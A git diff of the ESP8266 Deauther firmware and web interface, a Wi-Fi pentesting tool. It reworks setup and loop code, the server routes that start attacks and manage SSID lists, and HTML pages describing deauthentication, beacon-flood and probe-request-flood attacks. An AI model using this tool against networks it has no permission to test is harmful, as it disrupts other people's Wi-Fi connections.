|
if (server.hasArg("multiAPs")) {
|
||||||
|
if (server.arg("multiAPs") == "false") settings.multiAPs = false;
|
||||||
|
else settings.multiAPs = true;
|
||||||
|
}
|
||||||
|
|
||||||
settings.save();
|
settings.save();
|
||||||
server.send( 200, "text/json", "true" );
|
server.send( 200, "text/json", "true" );
|
||||||
@@ -322,109 +385,6 @@ void resetSettings() {
|
|||||||
server.send( 200, "text/json", "true" );
|
server.send( 200, "text/json", "true" );
|
||||||
}
|
}
|
||||||
|
|
||||||
void deleteName() {
|
|
||||||
if (server.hasArg("num")) {
|
|
||||||
int _num = server.arg("num").toInt();
|
|
||||||
nameList.remove(_num);
|
|
||||||
server.send( 200, "text/json", "true");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void clearNameList() {
|
|
||||||
nameList.clear();
|
|
||||||
server.send( 200, "text/json", "true" );
|
|
||||||
}
|
|
||||||
|
|
||||||
void editClientName() {
|
|
||||||
if (server.hasArg("id") && server.hasArg("name")) {
|
|
||||||
nameList.edit(server.arg("id").toInt(), server.arg("name"));
|
|
||||||
server.send( 200, "text/json", "true");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void setup() {
|
|
||||||
|
|
||||||
Serial.begin(115200);
|
|
||||||
delay(2000);
|
|
||||||
|
|
||||||
#ifdef USE_DISPLAY
|
|
||||||
display.init();
|
|
||||||
display.setFont(Roboto_Mono_8);
|
|
||||||
display.flipScreenVertically();
|
|
||||||
drawInterface();
|
|
||||||
pinMode(upBtn, INPUT_PULLUP);
|
|
||||||
pinMode(downBtn, INPUT_PULLUP);
|
|
||||||
pinMode(selectBtn, INPUT_PULLUP);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
attackMode = "START";
|
|
||||||
pinMode(2, OUTPUT);
|
|
||||||
delay(50);
|
|
||||||
digitalWrite(2, HIGH);
|
|
||||||
|
|
||||||
EEPROM.begin(4096);
|
|
||||||
|
|
||||||
settings.load();
|
|
||||||
if (debug) settings.info();
|
|
||||||
nameList.load();
|
|
||||||
ssidList.load();
|
|
||||||
|
|
||||||
Serial.println("");
|
|
||||||
Serial.println("starting...");
|
|
||||||
|
|
||||||
startWifi();
|
|
||||||
attack.stopAll();
|
|
||||||
attack.generate();
|
|
||||||
|
|
||||||
/* ========== Web Server ========== */
|
|
||||||
|
|
||||||
/* HTML sites */
|
|
||||||
server.onNotFound(load404);
|
|
||||||
|
|
||||||
server.on("/", loadIndexHTML);
|
|
||||||
server.on("/clients", loadClientsHTML);
|
|
||||||
server.on("/attack", loadAttackHTML);
|
|
||||||
server.on("/settings", loadSettingsHTML);
|
|
||||||
|
|
||||||
server.on("/js/index.js", loadIndexJS);
|
|
||||||
server.on("/js/clients.js", loadClientsJS);
|
|
||||||
server.on("/js/attack.js", loadAttackJS);
|
|
||||||
server.on("/js/settings.js", loadSettingsJS);
|
|
||||||
server.on("/js/functions.js", loadFunctionsJS);
|
|
||||||
|
|
||||||
/* header links */
|
|
||||||
server.on ("/style.css", loadStyle);
|
|
||||||
server.on ("/manifest.json", loadManifest);
|
|
||||||
|
|
||||||
/* JSON */
|
|
||||||
server.on("/APScanResults.json", sendAPResults);
|
|
||||||
server.on("/APScan.json", startAPScan);
|
|
||||||
server.on("/APSelect.json", selectAP);
|
|
||||||
server.on("/ClientScan.json", startClientScan);
|
|
||||||
server.on("/ClientScanResults.json", sendClientResults);
|
|
||||||
server.on("/ClientScanTime.json", sendClientScanTime);
|
|
||||||
server.on("/clientSelect.json", selectClient);
|
|
||||||
server.on("/setName.json", setClientName);
|
|
||||||
server.on("/attackInfo.json", sendAttackInfo);
|
|
||||||
server.on("/attackStart.json", startAttack);
|
|
||||||
server.on("/settings.json", getSettings);
|
|
||||||
server.on("/settingsSave.json", saveSettings);
|
|
||||||
server.on("/settingsReset.json", resetSettings);
|
|
||||||
server.on("/deleteName.json", deleteName);
|
|
||||||
server.on("/clearNameList.json", clearNameList);
|
|
||||||
server.on("/editNameList.json", editClientName);
|
|
||||||
server.on("/addSSID.json", addSSID);
|
|
||||||
server.on("/cloneSSID.json", cloneSSID);
|
|
||||||
server.on("/deleteSSID.json", deleteSSID);
|
|
||||||
server.on("/randomSSID.json", randomSSID);
|
|
||||||
server.on("/clearSSID.json", clearSSID);
|
|
||||||
server.on("/resetSSID.json", resetSSID);
|
|
||||||
server.on("/saveSSID.json", saveSSID);
|
|
||||||
server.on("/restartESP.json", restartESP);
|
|
||||||
|
|
||||||
server.begin();
|
|
||||||
}
|
|
||||||
|
|
||||||
#ifdef USE_DISPLAY
|
#ifdef USE_DISPLAY
|
||||||
void drawInterface() {
|
void drawInterface() {
|
||||||
display.clear();
|
display.clear();
|
||||||
@@ -449,6 +409,100 @@ void drawInterface() {
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
|
||||||
|
Serial.begin(115200);
|
||||||
|
if(debug){
|
||||||
|
delay(2000);
|
||||||
|
Serial.println("\nStarting...\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef USE_DISPLAY
|
||||||
|
display.init();
|
||||||
|
display.setFont(Roboto_Mono_8);
|
||||||
|
display.flipScreenVertically();
|
||||||
|
drawInterface();
|
||||||
|
pinMode(upBtn, INPUT_PULLUP);
|
||||||
|
pinMode(downBtn, INPUT_PULLUP);
|
||||||
|
pinMode(selectBtn, INPUT_PULLUP);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
attackMode = "START";
|
||||||
|
pinMode(2, OUTPUT);
|
||||||
|
digitalWrite(2, HIGH);
|
||||||
|
|
||||||
|
EEPROM.begin(4096);
|
||||||
|
SPIFFS.begin();
|
||||||
|
|
||||||
|
settings.load();
|
||||||
|
if (debug) settings.info();
|
||||||
|
nameList.load();
|
||||||
|
ssidList.load();
|
||||||
|
|
||||||
|
#ifdef resetPin
|
||||||
|
pinMode(resetPin, INPUT_PULLUP);
|
||||||
|
if(digitalRead(resetPin) == LOW) settings.reset();
|
||||||
|
#endif
|
||||||
|
|
||||||
|
startWifi();
|
||||||
|
attack.stopAll();
|
||||||
|
attack.generate();
|
||||||
|
|
||||||
|
/* ========== Web Server ========== */
|
||||||
|
|
||||||
|
/* HTML */
|
||||||
|
server.onNotFound(load404);
|
||||||
|
|
||||||
|
server.on("/", loadIndexHTML);
|
||||||
|
server.on("/index.html", loadIndexHTML);
|
||||||
|
server.on("/apscan.html", loadAPScanHTML);
|
||||||
|
server.on("/stations.html", loadStationsHTML);
|
||||||
|
server.on("/attack.html", loadAttackHTML);
|
||||||
|
server.on("/settings.html", loadSettingsHTML);
|
||||||
|
server.on("/info.html", loadInfoHTML);
|
||||||
|
server.on("/license", loadLicense);
|
||||||
|
|
||||||
|
/* JS */
|
||||||
|
server.on("/js/apscan.js", loadAPScanJS);
|
||||||
|
server.on("/js/stations.js", loadStationsJS);
|
||||||
|
server.on("/js/attack.js", loadAttackJS);
|
||||||
|
server.on("/js/settings.js", loadSettingsJS);
|
||||||
|
server.on("/js/functions.js", loadFunctionsJS);
|
||||||
|
|
||||||
|
/* CSS */
|
||||||
|
server.on ("/style.css", loadStyle);
|
||||||
|
|
||||||
|
/* JSON */
|
||||||
|
server.on("/APScanResults.json", sendAPResults);
|
||||||
|
server.on("/APScan.json", startAPScan);
|
||||||
|
server.on("/APSelect.json", selectAP);
|
||||||
|
server.on("/ClientScan.json", startClientScan);
|
||||||
|
server.on("/ClientScanResults.json", sendClientResults);
|
||||||
|
server.on("/ClientScanTime.json", sendClientScanTime);
|
||||||
|
server.on("/clientSelect.json", selectClient);
|
||||||
|
server.on("/setName.json", setClientName);
|
||||||
|
server.on("/addClientFromList.json", addClientFromList);
|
||||||
|
server.on("/attackInfo.json", sendAttackInfo);
|
||||||
|
server.on("/attackStart.json", startAttack);
|
||||||
|
server.on("/settings.json", getSettings);
|
||||||
|
server.on("/settingsSave.json", saveSettings);
|
||||||
|
server.on("/settingsReset.json", resetSettings);
|
||||||
|
server.on("/deleteName.json", deleteName);
|
||||||
|
server.on("/clearNameList.json", clearNameList);
|
||||||
|
server.on("/editNameList.json", editClientName);
|
||||||
|
server.on("/addSSID.json", addSSID);
|
||||||
|
server.on("/cloneSSID.json", cloneSSID);
|
||||||
|
server.on("/deleteSSID.json", deleteSSID);
|
||||||
|
server.on("/randomSSID.json", randomSSID);
|
||||||
|
server.on("/clearSSID.json", clearSSID);
|
||||||
|
server.on("/resetSSID.json", resetSSID);
|
||||||
|
server.on("/saveSSID.json", saveSSID);
|
||||||
|
server.on("/restartESP.json", restartESP);
|
||||||
|
server.on("/addClient.json",addClient);
|
||||||
|
|
||||||
|
server.begin();
|
||||||
|
}
|
||||||
|
|
||||||
void loop() {
|
void loop() {
|
||||||
if (clientScan.sniffing) {
|
if (clientScan.sniffing) {
|
||||||
if (clientScan.stop()) startWifi();
|
if (clientScan.stop()) startWifi();
|
||||||
@@ -457,7 +511,16 @@ void loop() {
|
|||||||
attack.run();
|
attack.run();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if(Serial.available()){
|
||||||
|
String input = Serial.readString();
|
||||||
|
if(input == "reset" || input == "reset\n" || input == "reset\r" || input == "reset\r\n"){
|
||||||
|
settings.reset();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
#ifdef USE_DISPLAY
|
#ifdef USE_DISPLAY
|
||||||
|
|
||||||
|
|
||||||
//go up
|
//go up
|
||||||
if (digitalRead(upBtn) == LOW && curRow > 0) {
|
if (digitalRead(upBtn) == LOW && curRow > 0) {
|
||||||
curRow--;
|
curRow--;
|
||||||
@@ -466,7 +529,8 @@ void loop() {
|
|||||||
curSite--;
|
curSite--;
|
||||||
} else lrow--;
|
} else lrow--;
|
||||||
delay(buttonDelay);
|
delay(buttonDelay);
|
||||||
//go down
|
|
||||||
|
// ===== go down =====
|
||||||
} else if (digitalRead(downBtn) == LOW && curRow < rows - 1) {
|
} else if (digitalRead(downBtn) == LOW && curRow < rows - 1) {
|
||||||
curRow++;
|
curRow++;
|
||||||
if (lrow + 1 >= rowsPerSite) {
|
if (lrow + 1 >= rowsPerSite) {
|
||||||
@@ -474,28 +538,27 @@ void loop() {
|
|||||||
curSite++;
|
curSite++;
|
||||||
} else lrow++;
|
} else lrow++;
|
||||||
delay(buttonDelay);
|
delay(buttonDelay);
|
||||||
//select
|
|
||||||
|
// ===== select =====
|
||||||
} else if (digitalRead(selectBtn) == LOW) {
|
} else if (digitalRead(selectBtn) == LOW) {
|
||||||
//WiFi on/off
|
//WiFi on/off
|
||||||
if (curRow == 0) {
|
if (curRow == 0) {
|
||||||
if (wifiMode == "ON") stopWifi();
|
if (wifiMode == "ON") stopWifi();
|
||||||
else startWifi();
|
else startWifi();
|
||||||
//scan for APs
|
|
||||||
|
// ===== scan for APs =====
|
||||||
} else if (curRow == 1) {
|
} else if (curRow == 1) {
|
||||||
scanMode = "scanning...";
|
startAPScan();
|
||||||
drawInterface();
|
drawInterface();
|
||||||
rows = 3;
|
|
||||||
apScan.start();
|
// ===== start,stop attack =====
|
||||||
rows += apScan.results;
|
|
||||||
sites = rows / rowsPerSite;
|
|
||||||
if (rows % rowsPerSite > 0) sites++;
|
|
||||||
scanMode = "SCAN";
|
|
||||||
apScan.sort();
|
|
||||||
//start,stop attack
|
|
||||||
} else if (curRow == 2) {
|
} else if (curRow == 2) {
|
||||||
if (attackMode == "START" && apScan.getFirstTarget() > -1) attack.start(0);
|
if (attackMode == "START" && apScan.getFirstTarget() > -1) attack.start(0);
|
||||||
else if (attackMode == "STOP") attack.stop(0);
|
else if (attackMode == "STOP") attack.stop(0);
|
||||||
} else if (curRow >= 3) {
|
}
|
||||||
|
|
||||||
|
// ===== select APs =====
|
||||||
|
else if (curRow >= 3) {
|
||||||
attack.stop(0);
|
attack.stop(0);
|
||||||
apScan.select(curRow - 3);
|
apScan.select(curRow - 3);
|
||||||
}
|
}
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 153 KiB After Width: | Height: | Size: 340 KiB |
|
Before Width: | Height: | Size: 57 KiB After Width: | Height: | Size: 146 KiB |
|
Before Width: | Height: | Size: 61 KiB After Width: | Height: | Size: 68 KiB |
|
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 106 KiB |
@@ -1,69 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<meta charset="utf-8">
|
|
||||||
<link rel="stylesheet" href="style.css">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=0.8">
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<nav>
|
|
||||||
<a href="/">APs</a>
|
|
||||||
<a href="clients">Clients</a>
|
|
||||||
<a href="attack">Attack</a>
|
|
||||||
<a href="settings">Settings</a>
|
|
||||||
<ul class="nav right">
|
|
||||||
<a href="#" onclick="restartESP()">Restart</a>
|
|
||||||
<ul>
|
|
||||||
</nav>
|
|
||||||
<div id="content">
|
|
||||||
<h1>Attack</h1>
|
|
||||||
|
|
||||||
<p class="block bold">Selected AP:</p>
|
|
||||||
<ul id="selectedAPs">
|
|
||||||
</ul>
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
<p class="block bold">Selected Clients:</p>
|
|
||||||
<ul id="selectedClients">
|
|
||||||
</ul>
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
<table>
|
|
||||||
</table>
|
|
||||||
|
|
||||||
<p class="small">
|
|
||||||
<br />
|
|
||||||
<b>deauth [deauthentication attack]:</b><br />
|
|
||||||
Sends deauthentication frames and dissociation frames to the selected client(s) in the selected WiFi access point(s).
|
|
||||||
<br />
|
|
||||||
<b>Note: </b>
|
|
||||||
If no client is selected, the packets are sent as broadcast!
|
|
||||||
<br /><br />
|
|
||||||
<b>beacon [beacon flood attack]:</b><br />
|
|
||||||
(clone:) Spams beacon frames with a similar SSID as the selected WiFi access point(s).<br />
|
|
||||||
(list:) Spams beacon frames with all SSIDs in the list below.
|
|
||||||
<br /><br />
|
|
||||||
<b>probe request [probe request flood attack]:</b><br />
|
|
||||||
Spams probe request frames with all SSIDs in the list below.<br />
|
|
||||||
Useful to confuse and spam WiFi trackers.
|
|
||||||
</p>
|
|
||||||
<br />
|
|
||||||
<p class="block bold">SSIDs: <span id="ssidCounter">0/64</span> <button class="marginNull warnBtn" onclick="clearSSID()">clear</button> <button class="marginNull" onclick="randomSSID()">random</button> <button class="marginNull" onclick="cloneSSID()">clone</button> <button class="marginNull" onclick="addSSID()">add</button></p>
|
|
||||||
<br />
|
|
||||||
<table>
|
|
||||||
</table>
|
|
||||||
<br />
|
|
||||||
<button class="marginNull warnBtn" onclick="resetSSID()">reset</button> <button class="marginNull" onclick="saveSSID()">save</button> <p class="small" id="saved">saved</p>
|
|
||||||
</div>
|
|
||||||
<script src="js/functions.js"></script>
|
|
||||||
<script src="js/attack.js"></script>
|
|
||||||
<div id="copyright">
|
|
||||||
Copyright 2017 Stefan Kremser<br />
|
|
||||||
<br />
|
|
||||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
|
||||||
<a href="https://twitter.com/spacehuhn" target="_blank">twitter.com/spacehuhn</a><br />
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
@@ -1,47 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<meta charset="utf-8">
|
|
||||||
<link rel="stylesheet" href="style.css">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=0.8">
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<nav>
|
|
||||||
<a href="/">APs</a>
|
|
||||||
<a href="clients">Clients</a>
|
|
||||||
<a href="attack">Attack</a>
|
|
||||||
<a href="settings">Settings</a>
|
|
||||||
<ul class="nav right">
|
|
||||||
<a href="#" onclick="restartESP()">Restart</a>
|
|
||||||
<ul>
|
|
||||||
</nav>
|
|
||||||
<div id="content">
|
|
||||||
<h1>Scan for client devices</h1>
|
|
||||||
|
|
||||||
<label for="scanTime">Scan time:</label>
|
|
||||||
<input type="number" id="scanTime" value="10">s
|
|
||||||
|
|
||||||
<button onclick="scan()" id="startScan">start</button>
|
|
||||||
<a id="clientScanStatus">ready!</a>
|
|
||||||
<br />
|
|
||||||
<p class="warn" id="status">AP will be off while scanning!<p>
|
|
||||||
<br />
|
|
||||||
|
|
||||||
<p class="block bold" id="clientsFound">Client devices found: 0</p>
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<table>
|
|
||||||
</table>
|
|
||||||
<script src="js/functions.js"></script>
|
|
||||||
<script src="js/clients.js"></script>
|
|
||||||
<div id="copyright">
|
|
||||||
Copyright 2017 Stefan Kremser<br />
|
|
||||||
<br />
|
|
||||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
|
||||||
<a href="https://twitter.com/spacehuhn" target="_blank">twitter.com/spacehuhn</a><br />
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
55
web_server/html/apscan.html
Normal file
@@ -0,0 +1,55 @@
|
|||||||
|
<!Doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<title>ESP8266 Deauther</title>
|
||||||
|
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||||
|
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<script src="js/functions.js"></script>
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<nav>
|
||||||
|
<a href="apscan.html">APs</a>
|
||||||
|
<a href="stations.html">Stations</a>
|
||||||
|
<a href="attack.html">Attacks</a>
|
||||||
|
<a href="settings.html">Settings</a>
|
||||||
|
<a class="right" href="info.html">Info</a>
|
||||||
|
</nav>
|
||||||
|
<div id="error"></div>
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<h1 class="header">Scan for Wi-Fi access points</h1>
|
||||||
|
|
||||||
|
<a id="scanInfo">scanning...</a>
|
||||||
|
<button onclick="scan()" id="apScanStart" class="right button-primary">scan</button>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
Networks found:
|
||||||
|
<span id="networksFound">0</span>
|
||||||
|
<br />
|
||||||
|
MAC: <span id="apMAC"></span>
|
||||||
|
</p>
|
||||||
|
<br />
|
||||||
|
|
||||||
|
<table></table>
|
||||||
|
|
||||||
|
<p class="small">
|
||||||
|
WPA* = WPA/WPA2 auto mode
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div id="copyright">
|
||||||
|
version 1.4<br />
|
||||||
|
Copyright (c) 2017 Stefan Kremser<br />
|
||||||
|
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="js/apscan.js"></script>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
82
web_server/html/attack.html
Normal file
@@ -0,0 +1,82 @@
|
|||||||
|
<!Doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<title>ESP8266 Deauther</title>
|
||||||
|
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||||
|
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<script src="js/functions.js"></script>
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<nav>
|
||||||
|
<a href="apscan.html">APs</a>
|
||||||
|
<a href="stations.html">Stations</a>
|
||||||
|
<a href="attack.html">Attacks</a>
|
||||||
|
<a href="settings.html">Settings</a>
|
||||||
|
<a class="right" href="info.html">Info</a>
|
||||||
|
</nav>
|
||||||
|
<div id="error"></div>
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<h1 class="header">Attacks</h1>
|
||||||
|
|
||||||
|
<p class="bold">Selected AP(s):</p>
|
||||||
|
<ul id="selectedAPs">
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<br />
|
||||||
|
|
||||||
|
<p class="bold">Selected Station(s):</p>
|
||||||
|
<ul id="selectedClients">
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<br />
|
||||||
|
|
||||||
|
<table>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
<span class="warn">INFO: </span><span class="bold">You may loose connection when starting the attack.</span><br />
|
||||||
|
Change the channel in the settings to the same of the selected AP to prevent this.
|
||||||
|
<br />
|
||||||
|
<br />
|
||||||
|
<span class="bold">Deauth [deauthentication attack]:</span><br />
|
||||||
|
Sends deauthentication and dissociation frames to the selected station(s) and access point(s).<br />
|
||||||
|
<br />
|
||||||
|
<span class="bold">Beacon [beacon flood]:</span><br />
|
||||||
|
Sends beacon frames with the SSIDs in the list below.<br />
|
||||||
|
<br />
|
||||||
|
<span class="bold">Probe-Request [probe request flood]:</span><br />
|
||||||
|
Sends probe request frames with the SSIDs in the list below.
|
||||||
|
</p>
|
||||||
|
<br />
|
||||||
|
<p class="left">SSIDs: <span id="ssidCounter">0/48</span>
|
||||||
|
<div class="right">
|
||||||
|
<button class="button-warn" onclick="clearSSID()">clear</button>
|
||||||
|
<button onclick="randomSSID()">random</button>
|
||||||
|
<button onclick="cloneSSID(prompt('new SSID:'))">clone</button>
|
||||||
|
<button class="button-primary" onclick="addSSID()">add</button></p>
|
||||||
|
</div>
|
||||||
|
<br />
|
||||||
|
<table></table>
|
||||||
|
<br />
|
||||||
|
<button class="marginNull button-warn" onclick="resetSSID()">reset</button>
|
||||||
|
<button class="marginNull button-primary right" onclick="saveSSID()">save</button>
|
||||||
|
<p class="small" id="saved">saved</p>
|
||||||
|
|
||||||
|
<div id="copyright">
|
||||||
|
version 1.4<br />
|
||||||
|
Copyright (c) 2017 Stefan Kremser<br />
|
||||||
|
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="js/attack.js"></script>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
35
web_server/html/error.html
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
<!Doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<title>ESP8266 Deauther</title>
|
||||||
|
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||||
|
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<nav>
|
||||||
|
<a href="apscan.html">APs</a>
|
||||||
|
<a href="stations.html">Stations</a>
|
||||||
|
<a href="attack.html">Attacks</a>
|
||||||
|
<a href="settings.html">Settings</a>
|
||||||
|
<a class="right" href="info.html">Info</a>
|
||||||
|
</nav>
|
||||||
|
<div id="error"></div>
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<h1 class="header">ERROR 404</h1>
|
||||||
|
<p class="middle"><br />Page not found :(<br /></p>
|
||||||
|
<div id="copyright">
|
||||||
|
version 1.4<br />
|
||||||
|
Copyright (c) 2017 Stefan Kremser<br />
|
||||||
|
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
41
web_server/html/index.html
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
<!Doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<title>ESP8266 Deauther</title>
|
||||||
|
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||||
|
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<script src="js/functions.js"></script>
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div id="error"></div>
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<h1 class="header">WARNING</h1>
|
||||||
|
|
||||||
|
<p class="middle bold">
|
||||||
|
This software is only for testing common vulnerabilities in the 802.11 standard.<br />
|
||||||
|
It can disrupt unprotected Wi-Fi connections.<br/>
|
||||||
|
Please check the laws in your country before using it.<br />
|
||||||
|
<br />
|
||||||
|
<span class="warn">Use it only on your own networks and devices!</span><br />
|
||||||
|
The usage of this software against other networks without permission is illegal!<br />
|
||||||
|
<br />
|
||||||
|
You are self resposible for everything you do with this program!<br />
|
||||||
|
It will log all actions against any network and device.<br />
|
||||||
|
<br />
|
||||||
|
Any redistributing, advertising or selling of this project as "jammer" without clearly stating it as a pentesting device for testing purposes only, is prohibited!<br />
|
||||||
|
<br />
|
||||||
|
Go to <a href="https://github.com/spacehuhn/esp8266_deauther">github.com/spacehuhn/esp8266_deauther</a> for more information.<br />
|
||||||
|
<br />
|
||||||
|
<br />
|
||||||
|
<a class="button" href="apscan.html">I've read and understood the notice above</a>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
58
web_server/html/info.html
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
<!Doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<title>ESP8266 Deauther</title>
|
||||||
|
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||||
|
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<nav>
|
||||||
|
<a href="apscan.html">APs</a>
|
||||||
|
<a href="stations.html">Stations</a>
|
||||||
|
<a href="attack.html">Attacks</a>
|
||||||
|
<a href="settings.html">Settings</a>
|
||||||
|
<a class="right" href="info.html">Info</a>
|
||||||
|
</nav>
|
||||||
|
<div id="error"></div>
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<h1 class="header">Info</h1>
|
||||||
|
<h2>ESP8266 Deauther</h2>
|
||||||
|
<p>
|
||||||
|
<span class="bold">Copyright (c) 2017 Stefan Kremser</span><br />
|
||||||
|
This project is licensed under the MIT License - see the <a href="license">license file</a> file for details.<br />
|
||||||
|
<br />
|
||||||
|
The source code is available on <a href="https://github.com/spacehuhn/esp8266_deauther" target="_blank">GitHub</a>.<br />
|
||||||
|
<br />
|
||||||
|
<br />
|
||||||
|
Use it only for testing or educational purposes on your own devices!<br />
|
||||||
|
<br />
|
||||||
|
<span class="bold">
|
||||||
|
Any redistributing, advertising or selling of this project as "jammer" without clearly stating it as a pentesting device for testing purposes only, is prohibited!<br />
|
||||||
|
</span>
|
||||||
|
<br />
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<h2>Credits</h2>
|
||||||
|
<p>
|
||||||
|
<a href="https://github.com/ThisIsDallas/Simple-Grid">SIMPLE GRID</a> - Copyright (C) 2013 Dallas Bass - Released under the MIT License.<br />
|
||||||
|
<br />
|
||||||
|
The MAC adresse list is based on Wireshark manufacturer database.<br />
|
||||||
|
Source: <a href="https://www.wireshark.org/tools/oui-lookup.html">https://www.wireshark.org/tools/oui-lookup.html</a><br />
|
||||||
|
Wireshark is released under the GNU General Public License version 2<br />
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div id="copyright">
|
||||||
|
version 1.4<br />
|
||||||
|
Copyright (c) 2017 Stefan Kremser<br />
|
||||||
|
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -1,20 +1,13 @@
|
|||||||
var table = document.getElementsByTagName('table')[0];
|
var table = document.getElementsByTagName('table')[0];
|
||||||
var networkInfo = document.getElementById('networksFound');
|
var networkInfo = getE('networksFound');
|
||||||
var scanBtn = document.getElementById('apScanStart');
|
var scanInfo = getE('scanInfo');
|
||||||
var scanInfo = document.getElementById('scanInfo');
|
var apMAC = getE('apMAC');
|
||||||
var apMAC = document.getElementById('apMAC');
|
var startStopScan = getE('startStopScan');
|
||||||
var startStopScan = document.getElementById('startStopScan');
|
|
||||||
var autoScan = false;
|
var autoScan = false;
|
||||||
var canScan = true;
|
|
||||||
|
|
||||||
function toggleBtn(onoff) {
|
function toggleScan(onoff) {
|
||||||
if (onoff && !autoScan) {
|
if (onoff && !autoScan) scanInfo.style.visibility = 'hidden';
|
||||||
scanInfo.style.visibility = 'hidden';
|
else scanInfo.style.visibility = 'visible';
|
||||||
scanBtn.style.visibility = 'visible';
|
|
||||||
} else {
|
|
||||||
scanInfo.style.visibility = 'visible';
|
|
||||||
scanBtn.style.visibility = 'hidden';
|
|
||||||
}
|
|
||||||
}
|
}
